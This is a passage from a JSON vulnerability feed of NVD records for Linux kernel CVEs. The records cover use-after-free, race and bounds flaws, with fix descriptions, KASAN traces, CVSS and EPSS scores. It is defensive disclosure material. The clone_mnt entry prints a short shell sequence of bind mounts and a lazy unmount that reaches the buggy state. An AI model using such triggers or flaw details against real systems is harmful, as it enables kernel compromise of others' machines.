conn->hcon->sco_data = NULL;\n\nwith no hdev->lock held, so the RX path could read hcon->sco_data and\ncall kref_get_unless_zero() on an sco_conn that was concurrently freed:\n\n    BUG: KASAN: slab-use-after-free in sco_conn_hold_unless_zero+0xbe/0x160\n    Write of size 4 by task kworker/u17:0\n    Workqueue: hci0 hci_rx_work\n    Call Trace:\n     sco_conn_hold_unless_zero+0xbe/0x160\n     sco_recv_scodata+0x13f/0x490\n     hci_rx_work+0x3af/0x730\n\nkref_get_unless_zero() only guards against a zero refcount, not against\nthe backing memory already being freed.\n\nGive hcon->sco_data an actual reference on the sco_conn it points to, so\nthe object cannot be freed while the pointer is still installed, and only\nclear and drop it from sco_conn_del(), which runs under hdev->lock (its\ncallers, sco_connect_cfm() and sco_disconn_cfm(), hold it). The reader in\nsco_recv_scodata() also takes hdev->lock, so the store and the read are\nnow serialised: the RX path either observes NULL or a reference that is\nguaranteed to stay valid until it drops its own.\n\nsco_conn_add() no longer hands its kref_init() reference to the caller as\nthe connection's only reference; that initial reference is the one owned\nby hcon->sco_data, and callers get their own via sco_conn_hold().\n\nBecause the sco_conn can now outlive the socket (the association keeps it\nalive until the link goes down), the hci_conn can no longer be dropped\nfrom sco_conn_free() without regressing socket close: closing a connected\nSCO socket must still tear the link down. Move hci_conn ownership to the\nsocket instead: __sco_chan_add() takes an hci_conn reference and it is\nreleased from sco_chan_del()","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata()\n\nsco_recv_scodata() upgrades the weak hcon->sco_data back-pointer to a\nstrong reference under hdev->lock:\n\n    hci_dev_lock(hdev);\n    hcon = hci_conn_hash_lookup_handle(hdev, handle);\n    ...\n    conn = sco_conn_hold_unless_zero(hcon->sco_data);\n    hci_dev_unlock(hdev);\n\nbut the pointer is cleared from the other side without that lock. When\nthe last sco_conn reference is dropped, sco_conn_free() ran\n\n    conn->hcon->sco_data = NULL;\n\nwith no hdev->lock held, so the RX path could read hcon->sco_data and\ncall kref_get_unless_zero() on an sco_conn that was concurrently freed:\n\n    BUG: KASAN: slab-use-after-free in sco_conn_hold_unless_zero+0xbe/0x160\n    Write of size 4 by task kworker/u17:0\n    Workqueue: hci0 hci_rx_work\n    Call Trace:\n     sco_conn_hold_unless_zero+0xbe/0x160\n     sco_recv_scodata+0x13f/0x490\n     hci_rx_work+0x3af/0x730\n\nkref_get_unless_zero() only guards against a zero refcount, not against\nthe backing memory already being freed.\n\nGive hcon->sco_data an actual reference on the sco_conn it points to, so\nthe object cannot be freed while the pointer is still installed, and only\nclear and drop it from sco_conn_del(), which runs under hdev->lock (its\ncallers, sco_connect_cfm() and sco_disconn_cfm(), hold it). The reader in\nsco_recv_scodata() also takes hdev->lock, so the store and the read are\nnow serialised: the RX path either observes NULL or a reference that is\nguaranteed to stay valid until it drops its own.\n\nsco_conn_add() no longer hands its kref_init() reference to the caller as\nthe connection's only reference; that initial reference is the one owned\nby hcon->sco_data, and callers get their own via sco_conn_hold().\n\nBecause the sco_conn can now outlive the socket (the association keeps it\nalive until the link goes down), the hci_conn can no longer be dropped\nfrom sco_conn_free() without regressing socket close: closing a connected\nSCO socket must still tear the link down. Move hci_conn ownership to the\nsocket instead: __sco_chan_add() takes an hci_conn reference and it is\nreleased from sco_chan_del() and sco_sock_destruct(), exactly once. The\nsco_conn no longer owns an hci_conn reference, so sco_conn_add() stops\nconsuming one and sco_connect() drops the hci_connect_sco() reference on\nevery path; sco_connect_cfm() no longer needs its hci_conn_hold() dance.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:23.740Z","updatedAt":"2026-10-24T14:16:52.047Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99011","asOf":"2026-10-24T14:16:52.047Z"},"epss":{"probability":0.00225,"percentile":0.13055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99011&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99011","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99011","type":"primary","publishedAt":"2026-10-23T13:17:23.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99011&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99011, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99006","cveId":"CVE-2026-99006","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/i915/gem: Prevent overstepping exec array boundary","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gem: Prevent overstepping exec array boundary\n\nIt is possible for eb_relocate_parse_slow() to call kvfree() on\nentries outside the original exec array during following\nscenario inside eb_relocate_parse_slow():\n\n1) eb_copy_relocations() allocates as many as eb->buffer_count\n   copies for exec entries;\n2) eb_parse() appends up to two VMAs, right after incrementing\n   eb->buffer_count;\n3) cleanup under \"out\" label uses this incremented buffer_count\n   to release relocation pointers from exec array via kvfree(),\n   not from VMA array.\n\nTo amend this problem, ensure that relocation cleanup uses the\noriginal exec object count, excluding the VMAs appended by the\ncommand parser.\n\n(cherry picked from commit 2a0158925fb943c7ba8f3216e2734952128defc9)","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gem: Prevent overstepping exec array boundary\n\nIt is possible for eb_relocate_parse_slow() to call kvfree() on\nentries outside the original exec array during following\nscenario inside eb_relocate_parse_slow():\n\n1) eb_copy_relocations() allocates as many as eb->buffer_count\n   copies for exec entries;\n2) eb_parse() appends up to two VMAs, right after incrementing\n   eb->buffer_count;\n3) cleanup under \"out\" label uses this incremented buffer_count\n   to release relocation pointers from exec array via kvfree(),\n   not from VMA array.\n\nTo amend this problem, ensure that relocation cleanup uses the\noriginal exec object count, excluding the VMAs appended by the\ncommand parser.\n\n(cherry picked from commit 2a0158925fb943c7ba8f3216e2734952128defc9)\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:23.040Z","updatedAt":"2026-10-24T14:16:51.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99006","asOf":"2026-10-24T14:16:51.903Z"},"epss":{"probability":0.00163,"percentile":0.05457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99006","type":"primary","publishedAt":"2026-10-23T13:17:23.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99002","cveId":"CVE-2026-99002","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/vmwgfx: validate pitch coming from userspace","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vmwgfx: validate pitch coming from userspace\n\nValidate the pitch, alongside the box dimensions before trying\nto copy data from the underlying surface. Fixes possible\nout of bounds reads with cursor snooping.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vmwgfx: validate pitch coming from userspace\n\nValidate the pitch, alongside the box dimensions before trying\nto copy data from the underlying surface. Fixes possible\nout of bounds reads with cursor snooping.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:22.557Z","updatedAt":"2026-10-24T14:16:51.757Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99002","asOf":"2026-10-24T14:16:51.757Z"},"epss":{"probability":0.00163,"percentile":0.0548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99002&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99002","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99002","type":"primary","publishedAt":"2026-10-23T13:17:22.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99002&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99002, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98999","cveId":"CVE-2026-98999","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin\n\nxe_bo_pin_external() and xe_bo_unpin_external() maintain the bo's\npinned_link list membership in xe->pinned.late.external, based on\nwhether the current call is the outermost pin or the final unpin.\nHowever, the same external bo's pin_count can also be raised and\nlowered directly by __xe_pin_fb_vma()/__xe_unpin_fb_vma(), which pin\nthe bo as a display scanout buffer without going through\nxe_bo_pin_external()/xe_bo_unpin_external() at all, and have no\nnotion of, or ownership over, pinned_link.\n\nIf a bo is pinned both externally (e.g. dma-buf export) and as an fb,\nand the external unpin happens first, xe_bo_unpin_external() correctly\nobserves pin_count > 1 and leaves the bo on pinned_link. When the fb\nunpin later performs the true last unpin (pin_count 1 -> 0), it never\ntouches pinned_link, leaving the bo linked on xe->pinned.late.external\nindefinitely. Once the bo is subsequently freed, this stale list entry\npoints into freed memory, corrupting the list and risking a\nuse-after-free the next time the list is walked or spliced.\n\nThe backup object pin/unpin sites in xe_bo_notifier_prepare_pinned()/\nxe_bo_notifier_unprepare_pinned() have the same bypass characteristic,\nthough they never add their bo to a pinned list, so are not affected\nby this particular list-corruption issue.\n\nMove the pinned_link removal into xe_bo_account_unpin(), which already\nruns on every unpin path (kernel, external, framebuffer, backup\nobject) right before the true 1 -> 0 pin_count transition. Since\nlist_del_init() only operates on the node itself, this removal is\nlist-agnostic and safe to perform regardless of which list (external\nor kernel_bo_present) the bo happens to be linked on, or which code\npath is performing the final unpin. Drop the now-redundant explicit\nlist_del_init() calls in xe_bo_unpin_external() and xe_bo_unpin().\n\nv2:\n- New patch\n\nv3:\n- Rebased on changes to previous patch.\n\n(cherry picked from commit ca58d36a1f93af586ee93b340c9f9fd81312cc01)","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin\n\nxe_bo_pin_external() and xe_bo_unpin_external() maintain the bo's\npinned_link list membership in xe->pinned.late.external, based on\nwhether the current call is the outermost pin or the final unpin.\nHowever, the same external bo's pin_count can also be raised and\nlowered directly by __xe_pin_fb_vma()/__xe_unpin_fb_vma(), which pin\nthe bo as a display scanout buffer without going through\nxe_bo_pin_external()/xe_bo_unpin_external() at all, and have no\nnotion of, or ownership over, pinned_link.\n\nIf a bo is pinned both externally (e.g. dma-buf export) and as an fb,\nand the external unpin happens first, xe_bo_unpin_external() correctly\nobserves pin_count > 1 and leaves the bo on pinned_link. When the fb\nunpin later performs the true last unpin (pin_count 1 -> 0), it never\ntouches pinned_link, leaving the bo linked on xe->pinned.late.external\nindefinitely. Once the bo is subsequently freed, this stale list entry\npoints into freed memory, corrupting the list and risking a\nuse-after-free the next time the list is walked or spliced.\n\nThe backup object pin/unpin sites in xe_bo_notifier_prepare_pinned()/\nxe_bo_notifier_unprepare_pinned() have the same bypass characteristic,\nthough they never add their bo to a pinned list, so are not affected\nby this particular list-corruption issue.\n\nMove the pinned_link removal into xe_bo_account_unpin(), which already\nruns on every unpin path (kernel, external, framebuffer, backup\nobject) right before the true 1 -> 0 pin_count transition. Since\nlist_del_init() only operates on the node itself, this removal is\nlist-agnostic and safe to perform regardless of which list (external\nor kernel_bo_present) the bo happens to be linked on, or which code\npath is performing the final unpin. Drop the now-redundant explicit\nlist_del_init() calls in xe_bo_unpin_external() and xe_bo_unpin().\n\nv2:\n- New patch\n\nv3:\n- Rebased on changes to previous patch.\n\n(cherry picked from commit ca58d36a1f93af586ee93b340c9f9fd81312cc01)\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:22.177Z","updatedAt":"2026-10-24T14:16:51.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98999","asOf":"2026-10-24T14:16:51.610Z"},"epss":{"probability":0.00179,"percentile":0.07388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98999","type":"primary","publishedAt":"2026-10-23T13:17:22.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98995","cveId":"CVE-2026-98995","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: reset the old parent's ->overmount in mnt_change_mountpoint()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: reset the old parent's ->overmount in mnt_change_mountpoint()\n\n__umount_mnt() resets ->overmount of the parent when it unmounts the\nmount that overmounts it. mnt_change_mountpoint() doesn't. It moves the\nmount to its new parent and leaves the old one pointing at it.\n\nFor a mount that is moved beneath in attach_recursive_mnt() that doesn't\nmatter. The new mount has already reset ->overmount of the old parent by\nthe time the old top mount is moved onto it.\n\nIt matters for reparent() though. propagate_umount() moves a surviving\novermount onto the first ancestor that isn't going to be unmounted. The\nmount it was taken from is unmounted immediately afterwards. If a file\ndescriptor keeps that unmounted mount alive ->overmount points at the\nmoved mount. That's a dangling pointer and UAF as the moved mount is\nunmounted and freed.\n\ndo_lock_mount() follows ->overmount from the target path under\nmount_lock. With a file descriptor on such a mount as the target of a\nmount beneath topmost_overmount() walks into the freed mount and\ndo_lock_mount() takes references on whatever it finds there.\n\nSo reset ->overmount of the old parent in mnt_change_mountpoint() the\nsame way __umount_mnt() does. A mount's ->overmount is then always a\nmount that is attached to it.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: reset the old parent's ->overmount in mnt_change_mountpoint()\n\n__umount_mnt() resets ->overmount of the parent when it unmounts the\nmount that overmounts it. mnt_change_mountpoint() doesn't. It moves the\nmount to its new parent and leaves the old one pointing at it.\n\nFor a mount that is moved beneath in attach_recursive_mnt() that doesn't\nmatter. The new mount has already reset ->overmount of the old parent by\nthe time the old top mount is moved onto it.\n\nIt matters for reparent() though. propagate_umount() moves a surviving\novermount onto the first ancestor that isn't going to be unmounted. The\nmount it was taken from is unmounted immediately afterwards. If a file\ndescriptor keeps that unmounted mount alive ->overmount points at the\nmoved mount. That's a dangling pointer and UAF as the moved mount is\nunmounted and freed.\n\ndo_lock_mount() follows ->overmount from the target path under\nmount_lock. With a file descriptor on such a mount as the target of a\nmount beneath topmost_overmount() walks into the freed mount and\ndo_lock_mount() takes references on whatever it finds there.\n\nSo reset ->overmount of the old parent in mnt_change_mountpoint() the\nsame way __umount_mnt() does. A mount's ->overmount is then always a\nmount that is attached to it.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:21.660Z","updatedAt":"2026-10-24T14:16:51.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98995","asOf":"2026-10-24T14:16:51.470Z"},"epss":{"probability":0.00161,"percentile":0.0527,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98995","type":"primary","publishedAt":"2026-10-23T13:17:21.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98993","cveId":"CVE-2026-98993","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: don't inherit MNT_UMOUNT in clone_mnt()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: don't inherit MNT_UMOUNT in clone_mnt()\n\nMNT_UMOUNT gets raised on a mount that umount_tree() or umount_one() has\ntaken out of its namespace. It's never cleared. __detach_mounts()\nunhooks a mount that carries it instead of unmounting it.\n\ndisconnect_mount() lets an unmounted child stay attached only if its\nparent carries it. propagate_umount() takes it as the sign that a mount\nis going to be unmounted when it decides what else can be unmounted,\nwhere a chain of locked mounts ends and where a for reparenting an\novermount.\n\nclone_mnt() copies the flags of the source and only masks\nMNT_INTERNAL_FLAGS which doesn't include MNT_UMOUNT. A mount that was\nlazily unmounted but is kept alive by a file descriptor can still be\ncopied when its root is an nsfs or pidfs file because may_copy_tree()\naccepts those before checking whether the source is mounted at all:\n\n  mount --bind /proc/self/ns/net /tmp/x\n  exec 3< /tmp/x\n  umount -l /tmp/x\n  mount --bind /proc/self/fd/3 /tmp/y\n\nThe mount on /tmp/y is attached to the caller's namespace with\nMNT_UMOUNT already set and every copy of it inherits the flag again.\n\nThat causes a number of bugs:\n\n- Unlink its mountpoint from a mount namespace where it isn't one.\n  __detach_mounts() takes it for a mount that was unmounted earlier,\n  unhooks it from its parent and drops the reference the namespace\n  holds on it. It stays in the namespace with one reference too few\n  and as its own parent, so it can't be unmounted through the file\n  descriptor anymore and the namespace never finds it again. When the\n  namespace goes away it's leaked and points to a freed struct\n  mnt_namespace that may_change_propagation() and anon_ns_root() read\n  on the next propagation change or mount_setattr() through the file\n  descriptor.\n\n- Make it shared and unmount a peer. trace_transfers() follows the\n  flag from the peer into it and strips it from its peer group.\n\n- Let a propagated umount reach it. gather_candidates() marks it with\n  T_UMOUNT_CANDIDATE but never puts it on the candidate list, so the\n  mark is never cleared and every later propagated umount skips it. If\n  it's the","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: don't inherit MNT_UMOUNT in clone_mnt()\n\nMNT_UMOUNT gets raised on a mount that umount_tree() or umount_one() has\ntaken out of its namespace. It's never cleared. __detach_mounts()\nunhooks a mount that carries it instead of unmounting it.\n\ndisconnect_mount() lets an unmounted child stay attached only if its\nparent carries it. propagate_umount() takes it as the sign that a mount\nis going to be unmounted when it decides what else can be unmounted,\nwhere a chain of locked mounts ends and where a for reparenting an\novermount.\n\nclone_mnt() copies the flags of the source and only masks\nMNT_INTERNAL_FLAGS which doesn't include MNT_UMOUNT. A mount that was\nlazily unmounted but is kept alive by a file descriptor can still be\ncopied when its root is an nsfs or pidfs file because may_copy_tree()\naccepts those before checking whether the source is mounted at all:\n\n  mount --bind /proc/self/ns/net /tmp/x\n  exec 3< /tmp/x\n  umount -l /tmp/x\n  mount --bind /proc/self/fd/3 /tmp/y\n\nThe mount on /tmp/y is attached to the caller's namespace with\nMNT_UMOUNT already set and every copy of it inherits the flag again.\n\nThat causes a number of bugs:\n\n- Unlink its mountpoint from a mount namespace where it isn't one.\n  __detach_mounts() takes it for a mount that was unmounted earlier,\n  unhooks it from its parent and drops the reference the namespace\n  holds on it. It stays in the namespace with one reference too few\n  and as its own parent, so it can't be unmounted through the file\n  descriptor anymore and the namespace never finds it again. When the\n  namespace goes away it's leaked and points to a freed struct\n  mnt_namespace that may_change_propagation() and anon_ns_root() read\n  on the next propagation change or mount_setattr() through the file\n  descriptor.\n\n- Make it shared and unmount a peer. trace_transfers() follows the\n  flag from the peer into it and strips it from its peer group.\n\n- Let a propagated umount reach it. gather_candidates() marks it with\n  T_UMOUNT_CANDIDATE but never puts it on the candidate list, so the\n  mark is never cleared and every later propagated umount skips it. If\n  it's the parent of a locked mount handle_locked() takes it as the\n  cutoff and commits the locked child that should have stayed and\n  disconnect_mount() leaves that child attached to it, unmounted under\n  a mounted parent, which is what disconnect_mount() exists to\n  prevent. When the namespace goes away umount_tree() visits the child\n  a second time. And once __detach_mounts() has made it its own parent\n  reparent() never finds the end of the chain of unmounted parents.\n\nA clone is a new mount that has never been unmounted. Add MNT_UMOUNT\nto MNT_INTERNAL_FLAGS so clone_mnt() never copies it. And warn when\numount_tree() reaches a mount that already has it set.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:21.410Z","updatedAt":"2026-10-24T14:16:51.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98993","asOf":"2026-10-24T14:16:51.270Z"},"epss":{"probability":0.00175,"percentile":0.06977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98993","type":"primary","publishedAt":"2026-10-23T13:17:21.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98991","cveId":"CVE-2026-98991","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: queue a mount only once for mount notifications","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: queue a mount only once for mount notifications\n\nmnt_notify_add() puts a mount on notify_list. It doesn't check whether\nthe mount is on the list already. That's fine as long as every mount is\nqueued at most once per namespace_sem hold. It isn't.\n\npropagate_umount() moves a surviving overmount off a stack of mounts\nthat are going away and queues it as moved. shrink_submounts() and\nmark_mounts_for_expiry() call umount_tree() for several mounts under a\nsingle namespace_sem hold. So the second umount_tree() can take down\nexactly the mount the first one reparented, reparent it once more and so\nend up queueing it a second time.\n\nThe second list_add_tail() cuts the mounts queued in between out of the\nlist while the head still points at the last of them. notify_mnt_list()\nthen only visits that one mount and the others are freed after the grace\nperiod with notify_list still pointing at them. Every later mount\noperation on the host walks freed memory:\n\n  BUG: KASAN: slab-use-after-free in __list_add_valid_or_report\n  Read of size 8 at addr ffff8881003d57e0 by task notify_dq/162\n   __list_add_valid_or_report+0x15c/0x1a0\n   mnt_add_to_ns+0x322/0x890\n   attach_recursive_mnt.isra.0+0xf2a/0x1a00\n   path_mount+0x139c/0x1d40\n\nThis needs a mount with MNT_SHRINKABLE to bind from. That's what\nfinish_automount() creates (submounts of NFS, AFS and CIFS and the\ntracefs mount below debugfs). Bind mounts inherit the flag. A mount\nnamespace with a FAN_MARK_MNTNS mark does the rest and root in a user\nnamespace can have both.\n\nInitialize to_notify in alloc_vfsmnt() and leave a mount alone that is\nqueued already. mnt_notify() looks at the state the mount has when the\nlist is drained so a single entry per mount is enough. The move event\nfor a mount that is unmounted under the same hold is lost. That's fine.\nThe detach is what matters.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: queue a mount only once for mount notifications\n\nmnt_notify_add() puts a mount on notify_list. It doesn't check whether\nthe mount is on the list already. That's fine as long as every mount is\nqueued at most once per namespace_sem hold. It isn't.\n\npropagate_umount() moves a surviving overmount off a stack of mounts\nthat are going away and queues it as moved. shrink_submounts() and\nmark_mounts_for_expiry() call umount_tree() for several mounts under a\nsingle namespace_sem hold. So the second umount_tree() can take down\nexactly the mount the first one reparented, reparent it once more and 